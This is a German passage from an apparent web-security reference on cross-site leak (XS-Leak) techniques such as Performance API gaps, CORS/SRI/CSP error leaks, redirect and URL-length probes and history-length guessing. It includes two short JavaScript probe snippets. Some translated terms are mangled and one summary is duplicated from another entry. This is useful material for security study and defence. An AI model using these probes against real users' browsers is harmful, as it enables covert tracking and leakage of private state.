- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

Die Technik wurde in einer Tabelle in dem erwähnten Papier gefunden, aber keine Beschreibung der Technik wurde darin gefunden. Sie können jedoch den Quellcode überprüfen, um danach zu suchen unter [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

### Leere Seiten-Leak

- **Inclusion Methods**: Frames
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Leere Antworten erstellen keine Ressourcenzugangseinträge.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

Ein Angreifer kann erkennen, ob eine Anfrage zu einem leeren HTTP-Antwortkörper geführt hat, da **leere Seiten in einigen Browsern keinen Leistungszugangseintrag erstellen**.

### **XSS-Auditor-Leak**

- **Inclusion Methods**: Frames
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Durch die Verwendung des XSS-Auditors in Sicherheitsbehauptungen können Angreifer spezifische Elemente von Webseiten erkennen, indem sie Änderungen in den Antworten beobachten, wenn gestaltete Payloads den Filtermechanismus des Auditors auslösen.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verhinderung von Cross-Site-Scripting (XSS)-Angriffen gedacht war, paradoxerweise ausgenutzt werden, um sensible Informationen zu leaken. Obwohl dieses integrierte Feature aus Google Chrome (GC) entfernt wurde, ist es immer noch in SA vorhanden. Im Jahr 2013 zeigten Braun und Heiderich, dass der XSS-Auditor versehentlich legitime Skripte blockieren konnte, was zu falschen Positiven führte. Darauf aufbauend entwickelten Forscher Techniken, um Informationen zu extrahieren und spezifische Inhalte auf Cross-Origin-Seiten zu erkennen, ein Konzept, das als XS-Leaks bekannt ist und ursprünglich von Terada berichtet und von Heyes in einem Blogbeitrag ausgeführt wurde. Obwohl diese Techniken spezifisch für den XSS-Auditor in GC waren, wurde festgestellt, dass Seiten, die vom XSS-Auditor blockiert werden, in der Performance-API keine Einträge generieren, was eine Methode offenbart, durch die sensible Informationen möglicherweise weiterhin geleakt werden.

### X-Frame-Leak

- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** Ressourcen mit dem X-Frame-Options-Header erstellen keinen Ressourcenzugangseintrag.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

Wenn eine Seite **nicht erlaubt ist**, in einem **iframe** **gerendert** zu werden, erstellt sie **keinen Leistungszugangseintrag**. Infolgedessen kann ein Angreifer den Antwortheader **`X-Frame-Options`** erkennen.\
Das Gleiche passiert, wenn Sie ein **embed**-Tag verwenden.

### Download-Erkennung

- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Downloads erstellen keine Ressourcenzugangseinträge in der Performance-API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

Ähnlich wie beim beschriebenen XS-Leak erstellt eine **Ressource, die heruntergeladen wird**, aufgrund des ContentDisposition-Headers ebenfalls **keinen Leistungszugangseintrag**. Diese Technik funktioniert in allen gängigen Browsern.

### Redirect-Start-Leak

- **Inclusion Methods**: Frames
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Der Ressourcenzugangseintrag leakt die Startzeit einer Umleitung.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

Wir fanden einen XS-Leak-Fall, der das Verhalten einiger Browser ausnutzt, die zu viele Informationen für Cross-Origin-Anfragen protokollieren. Der Standard definiert eine Teilmenge von Attributen, die für Cross-Origin-Ressourcen auf null gesetzt werden sollten. In **SA** ist es jedoch möglich zu erkennen, ob der Benutzer von der Zielseite **umgeleitet** wird, indem die **Performance-API** abgefragt und die **redirectStart-Zeitdaten** überprüft werden.

### Dauer-Redirect-Leak

- **Inclusion Methods**: Fetch-API
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Die Dauer der Zeitstempel ist negativ, wenn eine Umleitung erfolgt.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

In GC ist die **Dauer** für Anfragen, die zu einer **Umleitung** führen, **negativ** und kann somit von Anfragen, die nicht zu einer Umleitung führen, **unterschieden** werden.

### CORP-Leak

- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Ressourcen, die durch CORP geschützt sind, erstellen keine Ressourcenzugangseinträge.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

In einigen Fällen kann der **nextHopProtocol-Eintrag** als Leak-Technik verwendet werden. In GC, wenn der **CORP-Header** gesetzt ist, wird der nextHopProtocol **leer** sein. Beachten Sie, dass SA für CORP-aktivierte Ressourcen überhaupt keinen Leistungszugangseintrag erstellt.

### Service Worker

- **Inclusion Methods**: Frames
- **Detectable Difference**: API-Nutzung
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Summary:** Erkennen, ob ein Service Worker für einen bestimmten Ursprung registriert ist.
- **Code Example**:

Service Worker sind ereignisgesteuerte Skriptkontexte, die an einem Ursprung ausgeführt werden. Sie laufen im Hintergrund einer Webseite und können Ressourcen abfangen, ändern und **cachen**, um Offline-Webanwendungen zu erstellen.\
Wenn eine **Ressource, die von einem Service Worker** **cached** wurde, über ein **iframe** aufgerufen wird, wird die Ressource **aus dem Cache des Service Workers** **geladen**.\
Um zu erkennen, ob die Ressource **aus dem Cache des Service Workers** geladen wurde, kann die **Performance-API** verwendet werden.\
Dies könnte auch mit einem Timing-Angriff durchgeführt werden (siehe das Papier für weitere Informationen).

### Cache

- **Inclusion Methods**: Fetch-API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Summary:** Es ist möglich zu überprüfen, ob eine Ressource im Cache gespeichert wurde.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)

Mit der [Performance-API](xs-search.md#performance-api) ist es möglich zu überprüfen, ob eine Ressource im Cache gespeichert ist.

### Netzwerkdauer

- **Inclusion Methods**: Fetch-API
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Summary:** Es ist möglich, die Netzwerkdauer einer Anfrage aus der `performance`-API abzurufen.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## Fehlernachrichtentechnik

### Medienfehler

- **Inclusion Methods**: HTML-Elemente (Video, Audio)
- **Detectable Difference**: Statuscode
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** In Firefox ist es möglich, den Statuscode einer Cross-Origin-Anfrage genau zu leaken.
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
```
Die `MediaError`-Schnittstelle hat eine Nachrichten-Eigenschaft, die Ressourcen eindeutig identifiziert, die erfolgreich mit einem bestimmten String geladen werden. Ein Angreifer kann diese Funktion ausnutzen, indem er den Inhalt der Nachricht beobachtet und so den Antwortstatus einer Cross-Origin-Ressource ableitet.

### CORS-Fehler

- **Einbeziehungsmethoden**: Fetch API
- **Erkennbare Unterschiede**: Header
- **Weitere Informationen**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
- **Codebeispiel**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Diese Technik ermöglicht es einem Angreifer, **das Ziel einer Umleitung einer Cross-Origin-Website zu extrahieren**, indem er ausnutzt, wie Webkit-basierte Browser CORS-Anfragen behandeln. Insbesondere wenn eine **CORS-aktivierte Anfrage** an eine Zielseite gesendet wird, die eine Umleitung basierend auf dem Benutzerstatus ausgibt, und der Browser die Anfrage anschließend ablehnt, wird die **vollständige URL des Umleitungsziels** in der Fehlermeldung offengelegt. Diese Schwachstelle offenbart nicht nur die Tatsache der Umleitung, sondern gibt auch den Endpunkt der Umleitung und alle **sensiblen Abfrageparameter** preis, die sie enthalten kann.

### SRI-Fehler

- **Einbeziehungsmethoden**: Fetch API
- **Erkennbare Unterschiede**: Header
- **Weitere Informationen**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
- **Codebeispiel**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Ein Angreifer kann **ausführliche Fehlermeldungen** ausnutzen, um die Größe von Cross-Origin-Antworten abzuleiten. Dies ist möglich aufgrund des Mechanismus der Subresource Integrity (SRI), der das Integritätsattribut verwendet, um zu validieren, dass abgerufene Ressourcen, oft von CDNs, nicht manipuliert wurden. Damit SRI bei Cross-Origin-Ressourcen funktioniert, müssen diese **CORS-aktiviert** sein; andernfalls unterliegen sie keinen Integritätsprüfungen. In Security Assertions (SA) kann, ähnlich wie beim CORS-Fehler XS-Leak, eine Fehlermeldung erfasst werden, nachdem eine Fetch-Anfrage mit einem Integritätsattribut fehlschlägt. Angreifer können absichtlich **diesen Fehler auslösen**, indem sie einen **falschen Hashwert** dem Integritätsattribut einer Anfrage zuweisen. In SA offenbart die resultierende Fehlermeldung unbeabsichtigt die Inhaltslänge der angeforderten Ressource. Diese Informationsleckage ermöglicht es einem Angreifer, Variationen in der Antwortgröße zu erkennen, was den Weg für ausgeklügelte XS-Leak-Angriffe ebnet.

### CSP-Verletzung/Erkennung

- **Einbeziehungsmethoden**: Pop-ups
- **Erkennbare Unterschiede**: Statuscode
- **Weitere Informationen**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
- **Zusammenfassung:** Wenn nur die Website des Opfers in der CSP erlaubt ist und wir versuchen, sie auf eine andere Domain umzuleiten, wird die CSP einen erkennbaren Fehler auslösen.
- **Codebeispiel**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

Ein XS-Leak kann die CSP verwenden, um zu erkennen, ob eine Cross-Origin-Website auf eine andere Herkunft umgeleitet wurde. Dieses Leck kann die Umleitung erkennen, aber zusätzlich wird die Domain des Umleitungsziels offengelegt. Die Grundidee dieses Angriffs besteht darin, **die Ziel-Domain auf der Angreifer-Website zuzulassen**. Sobald eine Anfrage an die Ziel-Domain gesendet wird, **leitet sie** zu einer Cross-Origin-Domain um. **CSP blockiert** den Zugriff darauf und erstellt einen **Verletzungsbericht, der als Leak-Technik verwendet wird**. Je nach Browser **kann dieser Bericht den Zielort der Umleitung offenbaren**.\
Moderne Browser zeigen nicht die URL an, zu der umgeleitet wurde, aber man kann dennoch erkennen, dass eine Cross-Origin-Umleitung ausgelöst wurde.

### Cache

- **Einbeziehungsmethoden**: Frames, Pop-ups
- **Erkennbare Unterschiede**: Seiteninhalt
- **Weitere Informationen**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
- **Zusammenfassung:** Löschen Sie die Datei aus dem Cache. Öffnet die Zielseite und überprüft, ob die Datei im Cache vorhanden ist.
- **Codebeispiel:**

Browser könnten einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrer Herkunft ist es möglich zu deduzieren, ob eine Zielseite **eine bestimmte Datei angefordert hat**.

Wenn eine Seite ein Bild nur lädt, wenn der Benutzer angemeldet ist, können Sie die **Ressource ungültig machen** (damit sie nicht mehr im Cache ist, siehe weitere Informationslinks), **eine Anfrage durchführen**, die diese Ressource laden könnte, und versuchen, die Ressource **mit einer fehlerhaften Anfrage** zu laden (z. B. mit einem zu langen Referer-Header). Wenn das Laden der Ressource **keinen Fehler ausgelöst hat**, liegt es daran, dass sie **im Cache war**.

### CSP-Direktive

- **Einbeziehungsmethoden**: Frames
- **Erkennbare Unterschiede**: Header
- **Weitere Informationen**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
- **Zusammenfassung:** CSP-Header-Direktiven können mit dem CSP-iFrame-Attribut abgefragt werden, wodurch Richtliniendetails offengelegt werden.
- **Codebeispiel**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Eine neuartige Funktion in Google Chrome (GC) ermöglicht es Webseiten, eine **Content Security Policy (CSP)** vorzuschlagen, indem sie ein Attribut auf einem iFrame-Element festlegt, wobei die Richtliniendirektiven zusammen mit der HTTP-Anfrage übertragen werden. Normalerweise muss der eingebettete Inhalt **dies über einen HTTP-Header autorisieren**, oder es wird eine **Fehlerseite angezeigt**. Wenn das iFrame jedoch bereits durch eine CSP geregelt ist und die neu vorgeschlagene Richtlinie nicht restriktiver ist, wird die Seite normal geladen. Dieser Mechanismus eröffnet einem Angreifer die Möglichkeit, **spezifische CSP-Direktiven** einer Cross-Origin-Seite zu erkennen, indem er die Fehlerseite identifiziert. Obwohl diese Schwachstelle als behoben markiert wurde, zeigen unsere Erkenntnisse eine **neue Leak-Technik**, die in der Lage ist, die Fehlerseite zu erkennen, was darauf hindeutet, dass das zugrunde liegende Problem nie vollständig behoben wurde.

### **CORP**

- **Einbeziehungsmethoden**: Fetch API
- **Erkennbare Unterschiede**: Header
- **Weitere Informationen**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Zusammenfassung:** Ressourcen, die mit der Cross-Origin Resource Policy (CORP) gesichert sind, werfen einen Fehler, wenn sie von einer nicht erlaubten Herkunft abgerufen werden.
- **Codebeispiel**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

Der CORP-Header ist ein relativ neues Sicherheitsmerkmal der Webplattform, das, wenn es gesetzt ist, **keine CORS-Cross-Origin-Anfragen an die angegebene Ressource blockiert**. Das Vorhandensein des Headers kann erkannt werden, da eine durch CORP geschützte Ressource **einen Fehler auslöst, wenn sie abgerufen wird**.

### CORB

- **Einbeziehungsmethoden**: HTML-Elemente
- **Erkennbare Unterschiede**: Header
- **Weitere Informationen**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **Zusammenfassung**: CORB kann Angreifern ermöglichen zu erkennen, wann der **`nosniff`-Header im Request vorhanden ist**.
- **Codebeispiel**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Überprüfen Sie den Link für weitere Informationen über den Angriff.

### CORS-Fehler bei falscher Ursprungsspiegelung <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

- **Einbeziehungsmethoden**: Fetch API
- **Erkennbare Unterschiede**: Header
- **Weitere Informationen**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **Zusammenfassung**: Wenn der Origin-Header im Header `Access-Control-Allow-Origin` gespiegelt wird, ist es möglich zu überprüfen, ob eine Ressource bereits im Cache ist.
- **Codebeispiel**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

Falls der **Origin-Header** im Header `Access-Control-Allow-Origin` **gespiegelt** wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die **Ressource** im **CORS**-Modus abzurufen. Wenn kein **Fehler** **ausgelöst** wird, bedeutet das, dass sie **korrekt vom Web abgerufen wurde**. Wenn ein Fehler **ausgelöst** wird, liegt es daran, dass sie **aus dem Cache abgerufen wurde** (der Fehler tritt auf, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain und nicht die Domain des Angreifers erlaubt).\
Beachten Sie, dass dies nicht funktioniert, wenn der Ursprung nicht gespiegelt wird, aber ein Platzhalter verwendet wird (`Access-Control-Allow-Origin: *`).

## Lesbare Attribute Technik

### Fetch-Umleitung

- **Einbeziehungsmethoden**: Fetch API
- **Erkennbare Unterschiede**: Statuscode
- **Weitere Informationen**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
- **Zusammenfassung:** GC und SA ermöglichen es, den Typ der Antwort (opaque-redirect) zu überprüfen, nachdem die Umleitung abgeschlossen ist.
- **Codebeispiel**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Durch das Einreichen einer Anfrage mit der Fetch API mit `redirect: "manual"` und anderen Parametern ist es möglich, das Attribut `response.type` zu lesen, und wenn es gleich `opaqueredirect` ist, war die Antwort eine Umleitung.

### COOP

- **Einbeziehungsmethoden**: Pop-ups
- **Erkennbare Unterschiede**: Header
- **Weitere Informationen**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Zusammenfassung:** Seiten, die durch die Cross-Origin Opener Policy (COOP) geschützt sind, verhindern den Zugriff von Cross-Origin-Interaktionen.
- **Codebeispiel**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Ein Angreifer kann die Anwesenheit des Cross-Origin Opener Policy (COOP)-Headers in einer Cross-Origin-HTTP-Antwort ableiten. COOP wird von Webanwendungen verwendet, um externe Seiten daran zu hindern, beliebige Fensterreferenzen zu erhalten. Die Sichtbarkeit dieses Headers kann erkannt werden, indem versucht wird, auf die **`contentWindow`-Referenz** zuzugreifen. In Szenarien, in denen COOP bedingt angewendet wird, wird die **`opener`-Eigenschaft** zu einem eindeutigen Indikator: Sie ist **undefiniert**, wenn COOP aktiv ist, und **definiert** in dessen Abwesenheit.

### URL-Maximal-Länge - Serverseite

- **Einbeziehungsmethoden**: Fetch API, HTML-Elemente
- **Erkennbare Unterschiede**: Statuscode / Inhalt
- **Weitere Informationen**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort zu groß sein könnte, sodass der Server mit einem Fehler antwortet und ein Alarm ausgelöst wird.
- **Codebeispiel**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Wenn eine serverseitige Umleitung **Benutzereingaben innerhalb der Umleitung** und **zusätzliche Daten** verwendet. Es ist möglich, dieses Verhalten zu erkennen, da **Server** normalerweise eine **Limit-Anforderungsgröße** haben. Wenn die **Benutzerdaten** diese **Länge - 1** haben, weil die **Umleitung** **diese Daten** verwendet und **etwas** **Zusätzliches** hinzufügt, wird ein **Fehler ausgelöst, der über Fehlerereignisse erkennbar ist**.

Wenn Sie irgendwie Cookies für einen Benutzer setzen können, können Sie diesen Angriff auch durchführen, indem Sie **genug Cookies setzen** ([**Cookie-Bombe**](hacking-with-cookies/cookie-bomb.md)), sodass mit der **erhöhten Größe der Antwort** der **korrekten Antwort** ein **Fehler** ausgelöst wird. In diesem Fall denken Sie daran, dass, wenn Sie diese Anfrage von derselben Seite aus auslösen, `<script>` automatisch die Cookies sendet (damit Sie nach Fehlern suchen können).\
Ein Beispiel für die **Cookie-Bombe + XS-Search** finden Sie in der beabsichtigten Lösung dieses Berichts: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` oder im gleichen Kontext zu sein, ist normalerweise für diese Art von Angriff erforderlich.

### URL-Maximal-Länge - Clientseite

- **Einbeziehungsmethoden**: Pop-ups
- **Erkennbare Unterschiede**: Statuscode / Inhalt
- **Weitere Informationen**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort zu groß sein könnte, sodass ein Unterschied bemerkt werden kann.
- **Codebeispiel**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

Laut [Chromium-Dokumentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) beträgt die maximale URL-Länge von Chrome 2 MB.

> Im Allgemeinen hat die _Webplattform_ keine Grenzen für die Länge von URLs (obwohl 2^31 ein häufiges Limit ist). _Chrome_ begrenzt URLs aus praktischen Gründen und um zu vermeiden, dass Probleme mit der Dienstverweigerung in der interprozessualen Kommunikation auftreten, auf eine maximale Länge von **2 MB**.

Daher, wenn die **Umleitungs-URL in einem der Fälle größer ist**, ist es möglich, sie mit einer **URL größer als 2 MB** umzuleiten, um das **Längenlimit** zu erreichen. Wenn dies geschieht, zeigt Chrome eine **`about:blank#blocked`**-Seite an.

Der **erhebliche Unterschied** besteht darin, dass, wenn die **Umleitung** **abgeschlossen** wurde, `window.origin` einen **Fehler** auslöst, da ein Cross-Origin nicht auf diese Informationen zugreifen kann. Wenn jedoch das **Limit** erreicht wurde und die geladene Seite **`about:blank#blocked`** war, bleibt der **`origin`** des Fensters der des **Elternteils**, was eine **zugängliche Information** ist.

Alle zusätzlichen Informationen, die benötigt werden, um die **2 MB** zu erreichen, können über einen **Hash** in der ursprünglichen URL hinzugefügt werden, sodass er **bei der Umleitung verwendet wird**.

{{#ref}}
xs-search/url-max-length-client-side.md
{{#endref}}

### Maximalumleitungen

- **Einbeziehungsmethoden**: Fetch API, Frames
- **Erkennbare Unterschiede**: Statuscode
- **Weitere Informationen**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Zusammenfassung:** Verwenden Sie das Umleitungs-Limit des Browsers, um das Auftreten von URL-Umleitungen festzustellen.
- **Codebeispiel**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

Wenn die **maximale** Anzahl von **Umleitungen**, die ein Browser folgen kann, **20** beträgt, könnte ein Angreifer versuchen, seine Seite mit **19 Umleitungen** zu laden und schließlich **das Opfer** auf die getestete Seite zu senden. Wenn ein **Fehler** ausgelöst wird, dann versuchte die Seite, das Opfer **umzuleiten**.

### Verlaufslänge

- **Einbeziehungsmethoden**: Frames, Pop-ups
- **Erkennbare Unterschiede**: Umleitungen
- **Weitere Informationen**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Zusammenfassung:** JavaScript-Code manipuliert den Browserverlauf und kann über die Länge-Eigenschaft abgerufen werden.
- **Codebeispiel**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

Die **History API** ermöglicht es JavaScript-Code, den Browserverlauf zu manipulieren, der **die von einem Benutzer besuchten Seiten speichert**. Ein Angreifer kann die Länge-Eigenschaft als Einbeziehungsmethode verwenden: um JavaScript- und HTML-Navigation zu erkennen.\
**Überprüfen von `history.length`**, den Benutzer **zu einer Seite navigieren**, **zurück** zur gleichen Herkunft **wechseln** und den neuen Wert von **`history.length`** überprüfen.

### Verlaufslänge mit derselben URL

- **Einbeziehungsmethoden**: Frames, Pop-ups
- **Erkennbare Unterschiede**: Wenn die URL die gleiche ist wie die vermutete
- **Zusammenfassung:** Es ist möglich zu erraten, ob sich der Standort eines Frames/Pops in einer bestimmten URL befindet, indem die Verlaufslänge ausgenutzt wird.
- **Codebeispiel**: Unten

Ein Angreifer könnte JavaScript-Code verwenden, um die **Position des Frames/Pops auf eine vermutete** zu **manipulieren** und sie **sofort** auf `about:blank` **zu ändern**. Wenn die Verlaufslänge zunimmt, bedeutet das, dass die URL korrekt war und Zeit hatte, sich zu **erhöhen, weil die URL nicht neu geladen wird, wenn sie dieselbe ist**. Wenn sie nicht zunahm, bedeutet das, dass sie **versucht hat, die vermutete URL zu laden**, aber weil wir **sofort danach** **`about:blank`** geladen haben, hat sich die **Verlaufslänge nie erhöht**, als die vermutete URL geladen wurde.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
```
### Frame Counting

- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** Bewerten Sie die Anzahl der iframe-Elemente, indem Sie die `window.length`-Eigenschaft inspizieren.
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

